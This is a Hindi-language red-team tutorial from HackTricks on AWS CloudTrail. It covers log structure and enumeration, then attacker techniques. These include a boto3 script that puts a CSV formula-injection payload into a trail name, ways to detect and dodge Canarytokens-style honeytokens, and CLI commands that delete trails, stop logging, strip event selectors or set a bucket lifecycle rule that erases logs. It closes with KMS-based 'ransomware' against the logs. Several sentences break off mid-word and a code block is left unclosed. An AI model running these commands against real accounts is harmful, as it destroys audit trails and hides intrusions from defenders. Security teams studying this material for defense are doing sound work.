AWS - CloudTrail Enum

AWS - CloudTrail Enum

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

CloudTrail

AWS CloudTrail आपके AWS परिवेश में गतिविधि को रिकॉर्ड और मॉनिटर करता है। यह विस्तृत घटना लॉग को कैप्चर करता है, जिसमें सभी AWS संसाधनों के साथ हुए सभी इंटरैक्शन के लिए कौन क्या करता था, कब और कहाँ से, शामिल है। यह सुरक्षा विश्लेषण, अनुपालन में मदद करने वाले परिवर्तनों और क्रियाओं का एक ऑडिट ट्रेल प्रदान करता है। CloudTrail, उपयोगकर्ता और संसाधन व्यवहार को समझने, सुरक्षा स्थिति को बढ़ाने और विनियामक अनुपालन सुनिश्चित करने के लिए आवश्यक है।

प्रत्येक लॉग घटना में निम्नलिखित शामिल हैं:

  • कॉल किए गए API का नाम: eventName

  • कॉल की सेवा: eventSource

  • समय: eventTime

  • IP पता: SourceIPAddress

  • एजेंट मेथड: userAgent। उदाहरण:

  • Signing.amazonaws.com - AWS प्रबंधन कंसोल से

  • console.amazonaws.com - खाते का रूट उपयोगकर्ता

  • lambda.amazonaws.com - AWS Lambda

  • अनुरोध पैरामीटर: requestParameters

  • प्रतिक्रिया तत्व: responseElements

घटनाएँ लगभग प्रत्येक 5 मिनट में एक नए लॉग फ़ाइल में लिखी जाती हैं, वे CloudTrail द्वारा धारित की जाती हैं और अंततः, लॉग फ़ाइलें S3 में लगभग 15 मिनट बाद पहुंचाई जाती हैं। CloudTrails लॉग खातों और क्षेत्रों के बीच समूहीकृत किए जा सकते हैं। CloudTrail आपको लॉग फ़ाइल अखंडता का उपयोग करने की अनुमति देता है ताकि आप सत्यापित कर सकें कि आपकी लॉग फ़ाइलें उसी स्थिति में बनी हुई हैं जिसमें CloudTrail ने आपको उन्हें पहुंचाया है। यह एक डाइजेस्ट फ़ाइल में लॉग का SHA-256 हैश बनाता है। नई लॉग का sha-256 हैश प्रति घंटे बनाया जाता है। ट्रेल बनाते समय इवेंट सिलेक्टर्स आपको सूचित करने की अनुमति देंगे कि लॉग करने के लिए ट्रेल: प्रबंधन, डेटा या इंसाइट्स इवेंट्स।

लॉग S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) ताकि AWS उन लोगों के लिए सामग्री को डिक्रिप्ट कर सके जिनके पास पहुंच है, लेकिन अतिरिक्त सुरक्षा के लिए आप SSE के साथ KMS और अपने खुद के कुंजियों का उपयोग कर सकते हैं।

लॉग एक S3 बकेट में इस नाम प्रारूप के साथ स्टोर किए जाते हैं:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • जिसमें BucketName है: aws-cloudtrail-logs-<accountid>-<random>

  • उदाहरण: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

हर फ़ोल्डर में हर लॉग का नाम इस प्रारूप का अनुसरण करेगा: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

लॉग फ़ाइल नेमिंग कनवेंशन

इसके अतिरिक्त, डाइजेस्ट फ़ाइलें (फ़ाइल अखंडता की जांच के लिए) एक ही बकेट में होंगी:

मल्टीपल अकाउंट से लॉग्स को समूहीकृत करें

  • उस AWS अकाउंट में एक ट्रायल बनाएं जहां आप चाहते हैं कि लॉग फ़ाइलें पहुंचाई जाएं

  • CloudTrail के लिए पारंगतियाँ लागू करें जो CloudTrail के लिए क्रॉस-अकाउंट पहुंच को स्वीकार करती हैं और हर AWS अकाउंट को पहुंच की आवश्यकता है

  • अन्य AWS अकाउंट में एक नया ट्रेल बनाएं और चुनें कि चरण 1 में बनाए गए बकेट का उपयोग करें

हालांकि, यदि आप सभी लॉग्स को एक ही S3 बकेट में सहेज सकते हैं, तो आप एकल AWS अकाउंट में सम्मिलित क्लाउडट्रेल लॉग्स को क्लाउडवॉच लॉग्स में समूहीकृत नहीं कर सकते।

ध्यान रखें कि एक खाता में विभिन्न ट्रेल हो सकते हैं जिन्हें CloudTrail सक्षम किया गया है और वे एक ही (या भिन्न) लॉग्स को विभिन्न बकेट में स्टोर कर सकते हैं।

1 में सभी ऑर्ग अकाउंट से क्लाउडट्रेल

क्लाउडट्रेल बनाते समय, संगठन के सभी अकाउंटों के लिए क्लाउडट्रेल को सक्रिय करने और केवल 1 बकेट में लॉग प्राप्त करने की संकेतित करना संभव है:

इस तरह आप सभी क्षेत्रों में सभी अकाउंटों में क्लाउडट्रेल को आसानी से कॉन्फ़िगर कर सकते हैं और लॉग्स को 1 अकाउंट में सेंट्रलाइज कर सकते हैं (जिसे आपको सुरक्षित रखना चाहिए)।

लॉग फ़ाइलें जांचना

आप यह देखकर सत्यापित कर सकते हैं कि लॉग में कोई परिवर्तन नहीं किया गया है

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

लॉग्स को CloudWatch में भेजें

CloudTrail स्वचालित रूप से लॉग्स को CloudWatch में भेज सकता है ताकि आप आलर्ट सेट कर सकें जब संदेहपूर्ण गतिविधियाँ की जाती हैं। ध्यान दें कि CloudTrail को लॉग्स को CloudWatch में भेजने की अनुमति देने के लिए एक रोल बनाना होगा जो इस क्रिया की अनुमति देता है। यदि संभव हो तो, ये सिफारिश की जाती है कि इन क्रियाओं को करने के लिए AWS डिफ़ॉल्ट रोल का उपयोग किया जाए। यह रोल CloudTrail को निम्नलिखित कार्रवाइयों को करने की अनुमति देगा:

  • CreateLogStream: इससे CloudWatch Logs लॉग स्ट्रीम बनाने में सहायता मिलती है

  • PutLogEvents: CloudTrail लॉग्स को CloudWatch Logs लॉग स्ट्रीम में पहुंचाने में मदद मिलती है

घटना इतिहास

CloudTrail इवेंट हिस्ट्री आपको एक तालिका में जांचने की अनुमति देता है जिसमें रिकॉर्ड किए गए लॉग्स होते हैं:

इंसाइट्स

CloudTrail Insights स्वचालित रूप से विश्लेषण करता है, CloudTrail trails से लेखन प्रबंधन घटनाओं का अलर्ट देता है और आपको असामान्य गतिविधि की सूचना देता है। उदाहरण के लिए, यदि TerminateInstance घटनाओं में एक वृद्धि होती है जो स्थापित आधारों से भिन्न है, तो आप इसे एक इंसाइट घटना के रूप में देखेंगे। ये घटनाएं असामान्य API गतिविधि को खोजना और उसके परिणाम से निपटना पहले से भी आसान बना देती हैं।

इंसाइट्स को CloudTrail लॉग्स के साथ ही एक ही बकेट में संग्रहीत किया जाता है: BucketName/AWSLogs/AccountID/CloudTrail-Insight

सुरक्षा

CloudTrail लॉग फ़ाइल अखंडता

  • लॉग्स के साथ किसी खिलाफ़ी किया गया है या नहीं, यह सत्यापित करें (संशोधित या हटाए गए)

  • डाइजेस्ट फ़ाइलों का उपयोग करें (प्रत्येक फ़ाइल के लिए हैश बनाएं)

    • SHA-256 हैशिंग

    • डिजिटल साइनिंग के लिए SHA-256 with RSA

    • अमेज़न के स्वामित्व में निजी कुंजी

  • एक डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे की शुरुआत पर किया जाता है)

अनधिकृत पहुंचन को रोकें

  • IAM नीतियों और S3 बकेट नीतियों का उपयोग करें

    • सुरक्षा टीम —> व्यवस्थापक पहुंच

    • निरीक्षक —> केवल पढ़ने की पहुंच

  • लॉग्स को एन्क्रिप्ट करने के लिए SSE-S3/SSE-KMS का उपयोग करें

लॉग फ़ाइलों को हटाने से रोकें

  • IAM और बकेट नीत

```bash

# Get trails info

aws cloudtrail list-trails

aws cloudtrail describe-trails

aws cloudtrail list-public-keys

aws cloudtrail get-event-selectors --trail-name <trail_name>

aws [--region us-east-1] cloudtrail get-trail-status --name [default]

Get insights

aws cloudtrail get-insight-selectors --trail-name <trail_name>

Get data store info

aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id

### **CSV अंजाम**

CloudTrail में CVS अंजाम करना संभव है जो यदि लॉग्स CSV में निर्यात किए जाते हैं और Excel के साथ खोले जाते हैं तो विचारशील कोड को क्रियान्वित करेगा।\
निम्नलिखित कोड एक बुरा ट्रेल नाम जनरेट करेगा जिसमें पेलोड शामिल है:
```python
import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

अधिक जानकारी के लिए CSV Injections की पेज देखें:

इस विशेष तकनीक के बारे में अधिक जानकारी के लिए https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

डिटेक्शन को छलना

HoneyTokens बायपास

हनीटोकन्स को संवेदनशील जानकारी की निकासी का पता लगाने के लिए बनाया गया है। AWS के मामले में, वे AWS कुंजी हैं जिनका उपयोग मॉनिटर किया जाता है, अगर कुछ ऐसा होता है जो उस कुंजी के साथ कार्रवाई को ट्रिगर करता है, तो किसी ने उस कुंजी को चुराया होगा।

हालांकि, यह मॉनिटरिंग CloudTrail के माध्यम से की जाती है, और कुछ AWS सेवाएं हैं जो CloudTrail को लॉग नहीं भेजती हैं (यहां सूची देखें). इन सेवाओं में से कुछ त्रुटि के साथ उत्तर देती हैं जिसमें कुंजी भूमिका का ARN होता है अगर कोई अनधिकृत (हनीटोकन कुंजी) इसका उपयोग करने की कोशिश करता है।

इस तरह, एक हमलावर किसी भी लॉग को ट्रिगर किए बिना कुंजी का ARN प्राप्त कर सकता है। ARN में हमलावर को AWS खाता आईडी और नाम दिखाई देता है, इसलिए हमलावर कंपनियों के खातों की आईडी और नाम को पहचानना आसान होता है, इस तरह एक हमलावर हनीटोकन की पहचान कर सकता है।

HoneyTokens डिटेक्शन

Pacu यह जांचता है कि कुंजी Canarytokens, SpaceCrab, SpaceSiren** में से किसका है:

  • अगर canarytokens.org भूमिका या खाता आईडी में प्रकट होता है या त्रुटि संदेश में 534261010715 प्रकट होता है।

  • उन्हें हाल ही में जांचने पर पाया गया है कि वे खाता 717712589309 का उपयोग कर रहे हैं और अब भी नाम में canarytokens.com स्ट्रिंग है।

  • अगर त्रुटि संदेश में भूमिका में SpaceCrab प्रकट होता है

  • SpaceSiren उज्ज्वलताओं को उत्पन्न करने के लिए uuids का उपयोग करता है: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • अगर नाम यादृच्छिक रूप से उत्पन्न लगता है, तो उच्च संभावनाएं हैं कि यह एक HoneyToken है।

ध्यान दें कि सभी सार्वजनिक API जिनका पता चला है कि वे CloudTrail लॉग नहीं बना रहे हैं, अब सुधारित हो गए हैं, इसलिए शायद आपको अपना खुद का खोजना पड़ेगा...

या आप एकाउंट आईडी को कोडेड के अंदर से प्राप्त कर सकते हैं जैसा कि यहाँ स्पष्ट किया गया है और अपनी Honeytokens AWS खातों की सूची के साथ खाता आईडी जांच सकते हैं:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

अधिक जानकारी के लिए मूल शोध देखें।

तीसरे इंफ्रास्ट्रक्चर तक पहुंचना

कुछ AWS सेवाएं कुछ इंफ्रास्ट्रक्चर उत्पन्न करेंगी जैसे डेटाबेस या कुबरनेटीज़ क्लस्टर (EKS)। एक उपयोगकर्ता उन सेवाओं के साथ सीधे बातचीत कर रहा होगा (जैसे कुबरनेटीज़ API) वह AWS API का उपयोग नहीं करेगा, इसलिए CloudTrail इस संचार को नहीं देख पाएगा।

इसलिए, एक उपयोगकर्ता जिसके पास EKS तक पहुंच है जिसने EKS API का URL खोज लिया है, स्थानीय रूप से टोकन उत्पन्न कर सकता है और Cloudtrail द्वारा पहचाने जाने के बिना सीधे API सेवा से बातचीत कर सकता है

अधिक जानकारी:

pageAWS - EKS Post Exploitation

CloudTrail कॉन्फ़िगरेशन संशोधित करना

ट्रेल्स हटाएं

aws cloudtrail delete-trail --name [trail-name]

ट्रेल्स रोकें

aws cloudtrail stop-logging --name [trail-name]

बहु-क्षेत्र लॉगिंग अक्षम करें

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

ईवेंट सिलेक्टर्स द्वारा लॉगिंग अक्षम करें

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

पहले उदाहरण में, एक एकल घटना चयनकर्ता एक JSON एरे के रूप में प्रदान किया गया है जिसमें एक एकल ऑब्ज

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

सांड बाल्टी कॉन्फ़िगरेशन में परिवर्तन

  • S3 बाल्टी को हटाएं

  • बाल्टी नीति को बदलें ताकि क्लाउडट्रेल सेवा से कोई भी लेखन न कर सके

  • S3 बाल्टी में जीवनकाल नीति जोड़ें ताकि ऑब्जेक्ट्स हटा दिए जा सकें

  • क्लाउडट्रेल लॉग्स को एन्क्रिप्ट करने के लिए उपयोग किए गए kms कुंजी को अक्षम करें

क्लाउडट्रेल रैंसमवेयर

S3 रैंसमवेयर

आप एक असममिट्री कुंजी उत्पन्न कर सकते हैं और क्लाउडट्रेल डेटा को उस कुंजी से एन्क्रिप्ट करने के लिए कर सकते हैं और निजी कुंजी को हटा दें ताकि क्लाउडट्रेल सामग्री को पुनः प्राप्त नहीं किया जा सके। यह मुख्य रूप से एक S3-KMS रैंसमवेयर है जिसे निम्नलिखित में समझाया गया है:

pageAWS - S3 Post Exploitation

KMS रैंसमवेयर

यह पिछले हमले को अलग अनुमतियों की आवश्यकताओं के साथ करने का सबसे आसान तरीका है:

pageAWS - KMS Post Exploitation

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated